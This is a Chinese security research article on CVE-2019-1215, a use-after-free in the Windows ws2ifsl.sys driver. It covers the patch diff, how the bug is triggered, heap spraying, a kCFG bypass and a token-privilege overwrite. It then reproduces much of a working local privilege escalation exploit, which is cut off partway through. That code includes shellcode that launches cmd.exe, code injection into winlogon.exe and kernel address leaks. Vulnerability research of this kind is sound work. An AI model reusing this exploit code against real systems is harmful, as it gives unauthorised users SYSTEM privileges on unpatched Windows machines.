CVE-2019-1215:Windows 驱动 ws2ifsl.sys UAF 漏洞分析和利用研究
2020-10-31 10:20:00 Author: www.4hou.com(查看原文) 阅读量:261 收藏

0x01  漏洞介绍

本文分析ws2ifsl.sys中UAF漏洞的最新补丁(CVE-2019-1215),该漏洞可用于本地特权升级。该漏洞存在于Windows 7,Windows 8,Windows 10,Windows 2008,Windows 2012和Windows 2019中。它已于2019年9月10日进行了修补。有关此问题的更多信息,请参见  此处

这篇文章描述了Windows 10 19H1(1903)x64上的漏洞根本原因分析和利用。该漏洞利用程序演示了如何在此系统上绕过kASLR,kCFG和SMEP。

0x02  ws2ifsl基础

为了更好地理解此分析,我们必须介绍一些有关易受攻击的驱动程序的背景信息。没有有关此驱动程序的公共文档,并且以下大多数信息都是反向工程。ws2ifsl组件是与winsocket相关的驱动程序。

驱动程序实现两个对象:

· 过程对象

· 一个套接字对象

驱动程序实现了几个调度例程,用户可以调用这些例程。在  NtCreateFile 文件名设置为的情况下调用时  \\Device\\WS2IFSL\\,将DispatchCreate 到达该函数  。该函数根据中的字符串进行分支  _FILE_FULL_EA_INFORMATION.EaName。如果是  NifsPvd,它将调用  CreateProcessFile,如果是  NifsSct ,它将调用  CreateSocketFile。

该函数  CreateSocketFile 和  CreateProcessFile 两者均创建内部对象,我们将其称为“ procData”和“ socketData”。创建后,这些对象保存在  _FILE_OBJECT.FsContext 文件对象的中,该文件对象是在分派例程中创建的。

文件对象是可以在用户模式下使用从返回的句柄访问的对象NtCreateFile。该句柄可用于执行DeviceIoControl或的调用WriteFile。这意味着'procData'和'sockedData'对象不会直接通过ObfReferenceObject 和  引用计数  ObfDereferenceObject,而是基础文件对象。

该驱动程序实现两个异步过程调用(APC)对象,称为“请求队列”和“取消队列”。APC是一种在另一个线程中异步执行功能的机制。由于可以在另一个线程中强制执行多个APC,因此内核实现了一个队列,该队列存储了所有要执行的APC。

“ procData”对象包含这两个APC对象,这些对象由CreateProcessFile in  InitializeRequestQueue 和   初始化  InitializeCancelQueue。APC对象由初始化  KeInitializeApc,并接收目标线程和函数作为参数。此外,还设置了处理器模式(内核或用户模式)以及运行例程。如果是ws2ifsl,则运行例程为  RequestRundownRoutine 和  CancelRundownRoutine ,并且处理器模式设置为usermode。这些精简例程用于清理,如果线程在APC有机会在线程内部执行之前死亡,则内核将调用这些例程。之所以会发生这种情况,是因为如果APC设置为可警告状态,则仅计划在线程内执行该APC。如果例如SleepEx在第二个参数设置为TRUE的情况下调用线程,则可以将其设置为可警告状态。

驱动程序还在中实现了一个读写分派例程DispatchReadWrite,该例程  只能由套接字对象访问,并调用  DoSocketReadWrite。除其他事项外,该函数负责通过调用SignalRequest 使用  nt!KeInsertQueueApc API函数的函数将APC元素添加到APC队列中  。

0x03  硬件通信

在许多情况下,驱动程序会创建符号链接,并且其名称可用作的文件名  CreateFileA,但是ws2ifsl并非如此,nt!IoCreateDevice仅在DeviceName设置为'\ Device \ WS2IFSL'的情况下进行调用  。但是,通过调用本机API  NtOpenFile ,可以到达create dispatch函数  ws2ifsl!DispatchCreate的目的。

以下代码可用于完成此操作:

 `HANDLE` `fileHandle = 0;``UNICODE_STRING deviceName;``RtlInitUnicodeString(&deviceName, (``PWSTR``)L``"\\Device\\WS2IFSL"``);``OBJECT_ATTRIBUTES object;``InitializeObjectAttributes(&object, &deviceName, 0, NULL, NULL);``IO_STATUS_BLOCK IoStatusBlock ;``NtOpenFile(&fileHandle, GENERIC_READ, &object, &IoStatusBlock, 0, 0);`

该函数  DispatchCreate 将检查打开调用的扩展属性,此属性只能通过NtCreateFile系统调用设置。

对于流程对象,扩展属性(ea)数据缓冲区必须包含属于当前流程的线程句柄,然后,具有设备的句柄,我们可以使用该句柄进行进一步的操作。

0x04  补丁分析

现在我们已经学习了背景知识,我们可以切换到补丁分析了。补丁程序分析通过比较ws2ifsl 10.0.18362.1的未修补版本与已修补的10.0.18362.356版本开始。

我们可以很快看到仅修补了几个函数:

· CreateProcessFile

· DispatchClose

· SignalCancel

· SignalRequest

· RequestRundownRoutine

· CancelRundownRoutine

在以下截图中可以看到:

补丁版本还包含一个新函数:

· DereferenceProcessContext

最明显的变化是所有更改的函数都包含对新函数  DereferenceProcessContext的新调用,在以下截图中可以看到此函数:

接下来要注意的是,“ procData”对象已由新成员扩展,现在使用引用计数。例如,在  CreateProcessFile负责所有初始化的中,此新成员设置为1。

 procData->tag = 'corP';
 *(_QWORD *)&procData->processId = PsGetCurrentProcessId();
 procData->field_100 = 0;
 procData->tag = 'corP';
 *(_QWORD *)&procData->processId = PsGetCurrentProcessId();
 procData->dword100 = 0;
 procData->referenceCounter = 1i64; // new

该函数  DereferenceProcessContext 还将检查引用计数,并对  nt!ExFreePoolWithTag 进行调用或仅返回。

该函数  DispatchClose是驱动程序的关闭调度例程,也已得到修补。新版本将call  nt!ExFreePoolWithTag 更改为  DereferenceProcessContext。这意味着有时(如果参考计数器不为零)不会释放“ procData”,而只会将其参考计数减一。

该修复程序会在  SignalRequest 调用之前使  nt!KeInsertQueueApc的referenceCounter递增。

问题在于DispatchClose ,即使一个请求已经在APC中排队,该函数仍可用于释放“ procData”对象。DispatchClose 每当关闭对文件句柄的最后一个引用时,都会调用该函数  (通过调用CloseHandle)。该修补程序修复了UAF漏洞,因为关机例程等可以访问已释放的数据。

该修补程序通过使用新的referenceCounter来确保仅在删除缓冲区的最后一个引用之后才释放缓冲区,如果是精简例程(包含引用),则在函数末尾删除  DereferenceProcessContext引用

并且在调用之前增加引用计数  nt!KeInsertQueueApc,如果发生错误(可能  nt!KeInsertQueueApc 会失败),该引用也将被删除(避免内存泄漏)。

0x05 漏洞触发

要触发该漏洞,所需要做的就是创建一个“ procData”句柄,一个“ socketData”句柄,将一些数据写入“ socketData”并关闭两个句柄,线程终止调用APC调试例程,该例程将对释放的数据起作用。

以下代码将触发该漏洞:

 
 in CreateProcessHandle:
  
     g_hThread1 = CreateThread(0, 0, ThreadMain1, 0, 0, 0);
     eaData->a1 = (void*)g_hThread1; // thread must be in current process
     eaData->a2 = (void*)0x2222222;  // fake APC Routine
     eaData->a3 = (void*)0x3333333;  // fake cancel Rundown Routine
     eaData->a4 = (void*)0x4444444;
     eaData->a5 = (void*)0x5555555;
      
     NTSTATUS status = NtCreateFile(&fileHandle, MAXIMUM_ALLOWED, &object, &IoStatusBlock, NULL, FILE_ATTRIBUTE_NORMAL, 0, FILE_OPEN_IF, 0, eaBuffer, sizeof(FILE_FULL_EA_INFORMATION) + sizeof("NifsPvd") + sizeof(PROC_DATA));
     DWORD supSuc = SuspendThread(g_hThread1);
 
 in main:
  
 HANDLE procHandle = CreateProcessHandle();
 HANDLE sockHandle = CreateSocketHandle(procHandle);
  
 char* writeBuffer = (char*) malloc(0x100);
      
 IO_STATUS_BLOCK io;
 LARGE_INTEGER byteOffset;
 byteOffset.HighPart = 0;
 byteOffset.LowPart = 0;
 byteOffset.QuadPart = 0;
 byteOffset.u.LowPart = 0;
 byteOffset.u.HighPart = 0;
 ULONG key = 0; 
  
 CloseHandle(procHandle);
  
 NTSTATUS ret = NtWriteFile(sockHandle, 0, 0, 0, &io, writeBuffer, 0x100, &byteOffset, &key);

当在free 在DispatchClose 和RequestRundownRoutine处有断点时,我们可以验证此行为 :

 Breakpoint 2 hit
 ws2ifsl!DispatchClose+0x7d:
 fffff806`1b8e71cd e8ceeef3fb      call    nt!ExFreePool (fffff806`178260a0)
 1: kd> db rcx
 ffffae0d`ceafbc70  50 72 6f 63 00 00 00 00-8c 07 00 00 00 00 00 00  Proc............
 1: kd> g
 Breakpoint 0 hit
 ws2ifsl!RequestRundownRoutine:
 fffff806`1b8e12d0 48895c2408      mov     qword ptr [rsp+8],rbx
 0: kd> db rcx-30
 ffffae0d`ceafbc70  50 72 6f 63 00 00 00 00-8c 07 00 00 00 00 00 00  Proc............

因为'procData'对象已被释放,所以例程将对释放的数据起作用,在大多数情况下,不会崩溃,因为未重新分配数据块。

0x06  堆喷分析

在我们知道如何触发错误之后,我们可以切换到漏洞利用了,第一步是回收释放的分配。

首先,需要知道缓冲区的大小和分配池。

在要释放的缓冲区上使用pool命令,我们可以看到它分配在Nonpaged池上,大小为0x120字节。

 1: kd> !pool ffff8b08905e9910
 Pool page ffff8b08905e9910 region is Nonpaged pool
 
 *ffff8b08905e9900 size:  120 previous size:    0  (Allocated) *Ws2P Process: ffff8b08a32e3080
         Owning component : Unknown (update pooltag.txt)

可以通过查看ws2ifsl!CreateProcessFile中的缓冲区分配来验证它:

 PAGE:00000001C00079ED mov     edx, 108h       ; size
 PAGE:00000001C00079F2 mov     ecx, 200h       ; PoolType
 PAGE:00000001C00079F7 mov     r8d, 'P2sW'     ; Tag
 PAGE:00000001C00079FD call    cs:__imp_ExAllocatePoolWithQuotaTag

在Nonpaged池上执行任意大小的受控分配的可靠方法是使用命名管道。

以下代码可用于为多个0x120字节的缓冲区分配用户控制的数据:

 int doHeapSpray()
 {
     for (size_t i = 0; i < 0x5000; i++)
     {
         HANDLE readPipe;
         HANDLE writePipe;
         DWORD resultLength;
         UCHAR payload[0x120 - 0x48];
         RtlFillMemory(payload, 0x120 - 0x48, 0x24);
  
         BOOL res = CreatePipe(&readPipe, &writePipe, NULL, sizeof(payload));
  
         res = WriteFile(writePipe, payload, sizeof(payload), &resultLength, NULL);
     }  
     return 0;
 }

如果我们将此堆喷射合并到触发该漏洞的代码中,则会在  nt!KiInsertQueueApc内部获得一个错误检查,崩溃是由于对操作的安全检查而发生的。

 .text:00000001400A58F6 mov     rax, [rdx]
 .text:00000001400A58F9 cmp     [rax+_LIST_ENTRY.Blink], rdx
 .text:00000001400A58FD jnz     fail_fast
 
 .text:00000001401DC2EA fail_fast:                              ; CODE XREF: KiInsertQueueApc+53↑j
 .text:00000001401DC2EA                                         ; KiInsertQueueApc+95↑j ...
 .text:00000001401DC2EA                 mov     ecx, 3
 .text:00000001401DC2EF                 int     29h             ; Win8: RtlFailFast(ecx)

错误检查恰好在int 29指令处进行,在崩溃时检查寄存器时,我们可以看到RAX寄存器指向我们受控的用户数据。

 rax=ffff8b08905e82d0 rbx=0000000000000000 rcx=0000000000000003
 rdx=ffff8b08a39c3128 rsi=0000000000000000 rdi=0000000000000000
 rip=fffff8057489a2ef rsp=ffffde8268bfd4c8 rbp=ffffde8268bfd599
  r8=ffff8b08a39c3118  r9=fffff80574d87490 r10=fffff80574d87490
 r11=0000000000000000 r12=0000000000000000 r13=0000000000000000
 r14=0000000000000000 r15=0000000000000000
  
 0: kd> dq ffff8b08905e82d0
 ffff8b08`905e82d0  24242424`24242424 24242424`24242424
 ffff8b08`905e82e0  24242424`24242424 24242424`24242424
 ffff8b08`905e82f0  24242424`24242424 24242424`24242424
 ffff8b08`905e8300  24242424`24242424 24242424`24242424
 ffff8b08`905e8310  24242424`24242424 24242424`24242424
 ffff8b08`905e8320  24242424`24242424 24242424`24242424
 ffff8b08`905e8330  24242424`24242424 24242424`24242424
 ffff8b08`905e8340  24242424`24242424 24242424`24242424

导致崩溃的调用堆栈如下:

 0: kd> k
  # Child-SP          RetAddr           Call Site
 00 ffffb780`3ac7e868 fffff804`334a90c2 nt!DbgBreakPointWithStatus
 01 ffffb780`3ac7e870 fffff804`334a87b2 nt!KiBugCheckDebugBreak+0x12
 02 ffffb780`3ac7e8d0 fffff804`333c0dc7 nt!KeBugCheck2+0x952
 03 ffffb780`3ac7efd0 fffff804`333d2ae9 nt!KeBugCheckEx+0x107
 04 ffffb780`3ac7f010 fffff804`333d2f10 nt!KiBugCheckDispatch+0x69
 05 ffffb780`3ac7f150 fffff804`333d12a5 nt!KiFastFailDispatch+0xd0
 06 ffffb780`3ac7f330 fffff804`333dd2ef nt!KiRaiseSecurityCheckFailure+0x325
 07 ffffb780`3ac7f4c8 fffff804`332cb84f nt!KiInsertQueueApc+0x136a87
 08 ffffb780`3ac7f4d0 fffff804`3323ec58 nt!KiSchedulerApc+0x22f
 09 ffffb780`3ac7f600 fffff804`333c5002 nt!KiDeliverApc+0x2e8
 0a ffffb780`3ac7f6c0 fffff804`33804258 nt!KiApcInterrupt+0x2f2
 0b ffffb780`3ac7f850 fffff804`333c867a nt!PspUserThreadStartup+0x48
 0c ffffb780`3ac7f940 fffff804`333c85e0 nt!KiStartUserThread+0x2a
 0d ffffb780`3ac7fa80 00007ff8`ed3ace50 nt!KiStartUserThreadReturn
 0e 0000009e`93bffda8 00000000`00000000 ntdll!RtlUserThreadStart

由于主线程结束,因此触发了错误检查。发生这种情况的原因是因为损坏的APC仍在队列中,并且取消链接操作对损坏的数据起作用,因为前向和后向指针已损坏并且没有指向有效的链接列表,所以安全取消链接会检测到此损坏和错误检查。

0x07  KeRundownApcQueues

需要更改使用释放的APC元素的代码,以将其转变为有价值的东西。

触发漏洞并覆盖旧的“ procData”后,需要退出APC排队的线程。如果完成,内核将调用函数nt!KeRundownApcQueues,该函数会在  nt!KiFlushQueueApc内部进行bug检查,因为它会访问损坏的数据。

但是,这一次我们可以控制缓冲区的内容,并且可以避免安全异常,因为链接列表的有效指针是使用指向“ kthread”内部的值进行检查的。我们可以使用对带有SystemHandleInformation的NtQuerySystemInformation的调用来泄漏“ kthread”的地址,如果使用“ kthread”地址制作回收的“ procData”,则可以避免错误检查,  在nt!KeRundownApcQueues 函数的“ procData”对象内执行用户控制的函数指针。

0x08  绕过kCFG

在控制了要执行的函数指针之后,我们克服了一些障碍。对于这种利用,KASLR并不是问题,因为可能泄漏ntoskrnl基址,可以通过NtQuerySystemInformation / SystemModuleInformation泄漏所有已加载模块的基地址。

但是,APC函数指针调用由Microsoft的称为内核控制流防护的CFI实现保护,如果我们尝试调用任何随机的面向返回编程(ROP)的gadget,则内核将通过错误检查来解决此问题。

幸运的是,从CFG的角度来看,函数序言都是有效的分支目标,因此我们知道可以不停地调用什么,当调用函数指针  nt!KeRundownApcQueues时,第一个参数(rcx)指向'procData'缓冲区,第二个参数(rdx)为零。

我们可以使用的另一种可能性是通过调用本机函数来调用APC函数指针NtTestAlert,使用NtTestAlert调用APC函数指针时,第一个参数(rcx)指向'procData'缓冲区,第二个参数(rdx)也指向它。

寻找函数,根据给定的约束条件,我们发现了一个函数对象  nt!SeSetAccessStateGenericMapping。

如下所示,  nt!SeSetAccessStateGenericMapping 可用于执行16字节的任意写入。

不幸的是,这16个字节的后半部分没有得到完全控制,但是前8个字节是基于堆喷射所提供的数据。

0x09 令牌覆盖

一旦有了任意写原语,就可以做很多事情。在旧的Windows版本上,有很多技术可以将任意写入转换为完整的内核读取写入原语。在Windows 10的最新版本中,这些技术已得到缓解。一种仍在起作用的技术是令牌覆盖技术,它最初于2012年在Cesar Cerrudo的“ Easy local Windows Kernel Exploitation ”中发布,过去我们已经使用过这种技术

思路是破坏位于  _SEP_TOKEN_PRIVILEGES 对象内部的  _TOKEN 对象。最简单的方法是在 启用所有位的情况下覆盖此结构的  Present 和  Enabled成员。这将使我们获得 SeDebugPrivilege 特权,这将使我们能够将代码注入诸如“ winlogon.exe”之类的高特权进程中。

我们需要触发两次漏洞才能可靠地用16个字节覆盖令牌结构。

0x10 获取系统特权

一旦我们被注入到系统过程中,利用就成功了,现在,我们可以运行“ cmd.exe”,以提供交互式shell,我们还避免了kCFG和SMEP的其他问题,因为我们不会在漏洞的上下文中执行ROP或执行任何ring 0代码。

0x11  漏洞利用

最终利用目标是Windows 10 19H1 x64,可以在这里找到  https://github.com/bluefrostsecurity/CVE-2019-1215,漏洞利用成功会弹出一个具有系统特权的新cmd.exe。

ExP完整代码:

 /*
 The exploit works on 19H1.
 It was tested with ntoskrnl version 10.0.18362.295
 */
 
 #include  #include  #include  #include  #include  #include  #include  
 #pragma comment(lib, "ntdll.lib")
 
 // run cmd.exe
 unsigned char shellcode[] =
 "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51" \
 "\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52" \
 "\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0" \
 "\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed" \
 "\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88" \
 "\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44" \
 "\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48" \
 "\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1" \
 "\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44" \
 "\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49" \
 "\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a" \
 "\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41" \
 "\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00" \
 "\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b" \
 "\x6f\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd\x9d\xff" \
 "\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47" \
 "\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x6d\x64\x2e\x65" \
 "\x78\x65\x00";
 
 static const unsigned int shellcode_len = 0x1000;
 
 #define MAXIMUM_FILENAME_LENGTH 255 
 #define SystemModuleInformation  0xb
 #define SystemHandleInformation 0x10
 
 typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO
 {
  ULONG ProcessId;
  UCHAR ObjectTypeNumber;
  UCHAR Flags;
  USHORT Handle;
  void* Object;
  ACCESS_MASK GrantedAccess;
 } SYSTEM_HANDLE, * PSYSTEM_HANDLE;
 
 typedef struct _SYSTEM_HANDLE_INFORMATION
 {
  ULONG NumberOfHandles;
  SYSTEM_HANDLE Handels[1];
 } SYSTEM_HANDLE_INFORMATION, * PSYSTEM_HANDLE_INFORMATION;
 
 typedef struct SYSTEM_MODULE {
  ULONG                Reserved1;
  ULONG                Reserved2;
 #ifdef _WIN64
  ULONG    Reserved3;
 #endif
  PVOID                ImageBaseAddress;
  ULONG                ImageSize;
  ULONG                Flags;
  WORD                 Id;
  WORD                 Rank;
  WORD                 w018;
  WORD                 NameOffset;
  CHAR                 Name[MAXIMUM_FILENAME_LENGTH];
 }SYSTEM_MODULE, * PSYSTEM_MODULE;
 
 typedef struct SYSTEM_MODULE_INFORMATION {
  ULONG                ModulesCount;
  SYSTEM_MODULE        Modules[1];
 } SYSTEM_MODULE_INFORMATION, * PSYSTEM_MODULE_INFORMATION;
 
 // exploit specific type information 
 typedef struct _FILE_FULL_EA_INFORMATION {
  ULONG NextEntryOffset;  // +0x0
  UCHAR Flags;    // +4
  UCHAR EaNameLength;   // +5
  USHORT EaValueLength;  // +6
  CHAR EaName[1];    // +9
 } FILE_FULL_EA_INFORMATION, * PFILE_FULL_EA_INFORMATION;
 
 typedef struct _PROC_DATA {
  HANDLE apcthread;    // +0x0
  void* unknown1;    // +0x8
  void* unknown2;    // +0x10
  void* unknown3;    // +0x18
  void* unknown4;    // +0x20
 } PROC_DATA, * PPROC_DATA;
 
 typedef struct _SOCK_DATA {
  HANDLE unknown;    // +0x0
  HANDLE procDataHandle; // +0x8 
 } SOCK_DATA, * PSOCK_DATA;
 
 // undocumented apis definitions 
 
 typedef NTSTATUS(WINAPI* NtWriteFile_t)(HANDLE FileHandle,
  HANDLE Event,
  PIO_APC_ROUTINE ApcRoutine,
  PVOID ApcContext,
  PIO_STATUS_BLOCK IoStatusBlock,
  PVOID Buffer,
  ULONG Length,
  PLARGE_INTEGER ByteOffset,
  PULONG key);
 
 typedef NTSTATUS(WINAPI* NtTestAlert_t)(void);
 
 typedef NTSTATUS(WINAPI* RtlGetVersion_t)(PRTL_OSVERSIONINFOW lpVersionInformation);
 
 // resolved function pointers at runtime
 NtTestAlert_t g_NtTestAlert = 0;
 NtWriteFile_t g_NtWriteFile = 0;
 RtlGetVersion_t g_RtlGetVersion = 0;
 
 HANDLE g_Event1 = NULL;
 HANDLE g_Event2 = NULL;
 HANDLE g_Event3 = NULL;
 
 int g_done1 = 0;
 int g_done2 = 0;
 
 #define TOKEN_OFFSET 0x40   //_SEP_TOKEN_PRIVILEGES offset
 #define OFFSET_LINKEDLIST 0xA8  //kthread apc offset
 
 // generic helper function
 
 void InjectToWinlogon()
 {
  PROCESSENTRY32 entry;
  entry.dwSize = sizeof(PROCESSENTRY32);
 
  HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
 
  int pid = -1;
  if (Process32First(snapshot, &entry))
  {
   while (Process32Next(snapshot, &entry))
   {   
    if (_strcmpi(entry.szExeFile, "winlogon.exe") == 0)
    {
     pid = entry.th32ProcessID;
     break;
    }
   }
  }
 
  CloseHandle(snapshot);
 
  if (pid < 0)
  {
   printf("Could not find process\n");
   return;
  }
 
  HANDLE h = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
  if (!h)
  {
   printf("Could not open process: %x", GetLastError());
   return;
  }
  
  void* buffer = VirtualAllocEx(h, NULL, sizeof(shellcode), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
  if (!buffer)
  {
   printf("[-] VirtualAllocEx failed\n");
  }
  
  if (!buffer)
  {
   printf("[-] remote allocation failed");
   return;
  }
 
  if (!WriteProcessMemory(h, buffer, shellcode, sizeof(shellcode), 0))
  {
   printf("[-] WriteProcessMemory failed");
   return;
  }
 
  HANDLE hthread = CreateRemoteThread(h, 0, 0, (LPTHREAD_START_ROUTINE)buffer, 0, 0, 0);
 
  if (hthread == INVALID_HANDLE_VALUE)
  {
   printf("[-] CreateRemoteThread failed");
   return;
  }
 }
 
 HMODULE GetNOSModule()
 {
  HMODULE hKern = 0;
  hKern = LoadLibraryEx("ntoskrnl.exe", NULL, DONT_RESOLVE_DLL_REFERENCES);
  return hKern;
 }
 
 DWORD64 GetModuleAddr(const char* modName)
 {
  PSYSTEM_MODULE_INFORMATION buffer = (PSYSTEM_MODULE_INFORMATION)malloc(0x20);
 
  DWORD outBuffer = 0;
  NTSTATUS status = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemModuleInformation, buffer, 0x20, &outBuffer);
 
  if (status == STATUS_INFO_LENGTH_MISMATCH)
  {
   free(buffer);
   buffer = (PSYSTEM_MODULE_INFORMATION)malloc(outBuffer);
   status = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemModuleInformation, buffer, outBuffer, &outBuffer);
  }
 
  if (!buffer)
  {
   printf("[-] NtQuerySystemInformation error\n");
   return 0;
  }
 
  for (unsigned int i = 0; i < buffer->ModulesCount; i++)
  {
   PVOID kernelImageBase = buffer->Modules[i].ImageBaseAddress;
   PCHAR kernelImage = (PCHAR)buffer->Modules[i].Name;  
   if (_stricmp(kernelImage, modName) == 0)
   {
    free(buffer);
    return (DWORD64)kernelImageBase;
   }
  }
  free(buffer);
  return 0;
 }
 
 
 DWORD64 GetKernelPointer(HANDLE handle, DWORD type)
 {
  PSYSTEM_HANDLE_INFORMATION buffer = (PSYSTEM_HANDLE_INFORMATION) malloc(0x20);
 
  DWORD outBuffer = 0;
  NTSTATUS status = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemHandleInformation, buffer, 0x20, &outBuffer);
 
  if (status == STATUS_INFO_LENGTH_MISMATCH)
  {
   free(buffer);
   buffer = (PSYSTEM_HANDLE_INFORMATION) malloc(outBuffer);
   status = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemHandleInformation, buffer, outBuffer, &outBuffer);
  }
 
  if (!buffer)
  {
   printf("[-] NtQuerySystemInformation error \n");
   return 0;
  }
 
  for (size_t i = 0; i < buffer->NumberOfHandles; i++)
  {
   DWORD objTypeNumber = buffer->Handels[i].ObjectTypeNumber;
 
   if (buffer->Handels[i].ProcessId == GetCurrentProcessId() && buffer->Handels[i].ObjectTypeNumber == type)
   {
    if (handle == (HANDLE)buffer->Handels[i].Handle)
    {
     //printf("%p %d %x\n", buffer->Handels[i].Object, buffer->Handels[i].ObjectTypeNumber, buffer->Handels[i].Handle);
     DWORD64 object = (DWORD64)buffer->Handels[i].Object;
     free(buffer);
     return object;
    }
   }
  }
  printf("[-] handle not found\n");
  free(buffer);
  return 0;
 }
 
 DWORD64 GetGadgetAddr(const char* name)
 {
  DWORD64 base = GetModuleAddr("\\SystemRoot\\system32\\ntoskrnl.exe");
  HMODULE mod = GetNOSModule();
  if (!mod)
  {
   printf("[-] leaking ntoskrnl version\n");
   return 0;
  }
  DWORD64 offset = (DWORD64)GetProcAddress(mod, name);
 
  DWORD64 returnValue = base + offset - (DWORD64)mod;
  FreeLibrary(mod);
  return returnValue;
 }
 
 /* 
  After the bug is triggerd the first thime, this threads gets notified and it will trigger its function pointer,
  which will call our gadget function and write the first 8 bytes.
 */
 DWORD WINAPI APCThread1(LPVOID lparam)
 {
  SetEvent(g_Event1);
  while (1)
  {
   if (g_done1)
   {
    printf("[+] triggering first APC execution\n");
    
    g_NtTestAlert();  
 
    while (1)
    {
     Sleep(0x1000);
    }
   }
   else
   {
    Sleep(1);
   }
  }
  return 0;
 }
 
 /*
  After the bug is triggerd the second thime, this threads gets notified and it will trigger its function pointer again and write the second 8 bytes.
  After that the shellcode is injected into the system process.
 */
 DWORD WINAPI APCThread2(LPVOID lparam)
 {
  SetEvent(g_Event2);
  while (1)
  {
   if (g_done2)
   {
    printf("[+] triggering second APC execution\n");
       
    g_NtTestAlert();
 
    InjectToWinlogon();
    SetEvent(g_Event3);
 
    while (1)
    {
     Sleep(0x1000);
    }
   }
   else
   {
    Sleep(1);
   }
  }
  return 0;
 }
 
 HANDLE CreateSocketHandle(HANDLE procHandle)
 {
  HANDLE fileHandle = 0;
  UNICODE_STRING deviceName;
  OBJECT_ATTRIBUTES object;
  IO_STATUS_BLOCK IoStatusBlock;
 
  RtlInitUnicodeString(&deviceName, (PWSTR)L"\\Device\\WS2IFSL\\NifsSct");
 
  InitializeObjectAttributes(&object, &deviceName, 0, NULL, NULL);
 
  FILE_FULL_EA_INFORMATION* eaBuffer = (FILE_FULL_EA_INFORMATION*)malloc(sizeof(FILE_FULL_EA_INFORMATION) + sizeof("NifsSct") + sizeof(SOCK_DATA));
  if (!eaBuffer)
  {
   printf("[-] malloc error\n");
   return fileHandle;
  }
  eaBuffer->NextEntryOffset = 0;
  eaBuffer->Flags = 0;
  eaBuffer->EaNameLength = sizeof("NifsSct") - 1;
  eaBuffer->EaValueLength = sizeof(SOCK_DATA);
 
  RtlCopyMemory(eaBuffer->EaName, "NifsSct", (SIZE_T)eaBuffer->EaNameLength + 1);
 
  SOCK_DATA * eaData = (SOCK_DATA*)(((char*)eaBuffer) + sizeof(FILE_FULL_EA_INFORMATION) + sizeof("NifsSct") - 4);
 
  eaData->unknown = (void*) 0x242424224;
  eaData->procDataHandle = (void*) procHandle;
 
  NTSTATUS status = NtCreateFile(&fileHandle, GENERIC_WRITE, &object, &IoStatusBlock, NULL, FILE_ATTRIBUTE_NORMAL, 0, FILE_OPEN_IF, 0, eaBuffer, sizeof(FILE_FULL_EA_INFORMATION) + sizeof("NifsSct") + sizeof(PROC_DATA));
  if (status != STATUS_SUCCESS)
  {
   printf("[-] NtCreateFile error: %x \n", status);
   free(eaBuffer);
   return fileHandle;
  }
 
  free(eaBuffer);
  return fileHandle;
 }
 
 HANDLE CreateProcessHandle(HANDLE hAPCThread)
 {
  HANDLE fileHandle = 0;
  UNICODE_STRING deviceName;
  OBJECT_ATTRIBUTES object;
  IO_STATUS_BLOCK IoStatusBlock;
 
  RtlInitUnicodeString(&deviceName, (PWSTR)L"\\Device\\WS2IFSL\\NifsPvd");
 
  InitializeObjectAttributes(&object, &deviceName, 0, NULL, NULL);
 
  FILE_FULL_EA_INFORMATION* eaBuffer = (FILE_FULL_EA_INFORMATION*)malloc(sizeof(FILE_FULL_EA_INFORMATION) + sizeof("NifsPvd") + sizeof(PROC_DATA));
  if (!eaBuffer)
  {
   printf("[-] malloc error\n");
   return fileHandle;
  }
  eaBuffer->NextEntryOffset = 0;
  eaBuffer->Flags = 0;
  eaBuffer->EaNameLength = sizeof("NifsPvd") - 1;
  eaBuffer->EaValueLength = sizeof(PROC_DATA);
 
  RtlCopyMemory(eaBuffer->EaName, "NifsPvd", (SIZE_T)eaBuffer->EaNameLength + 1);
  PROC_DATA * eaData = (PROC_DATA*)(((char*)eaBuffer) + sizeof(FILE_FULL_EA_INFORMATION) + sizeof("NifsPvd") - 4);
 
  if (!hAPCThread)
  {
   printf("[-] error thread not found\n");
   free(eaBuffer);
   return 0;
  }
 
  eaData->apcthread = (void*) hAPCThread;  // thread must be in current process
  eaData->unknown1 = (void*) 0x2222222;  // APC Routine
  eaData->unknown2 = (void*) 0x3333333;  // cancel Rundown Routine
  eaData->unknown3 = (void*) 0x4444444;
  eaData->unknown4 = (void*) 0x5555555;
 
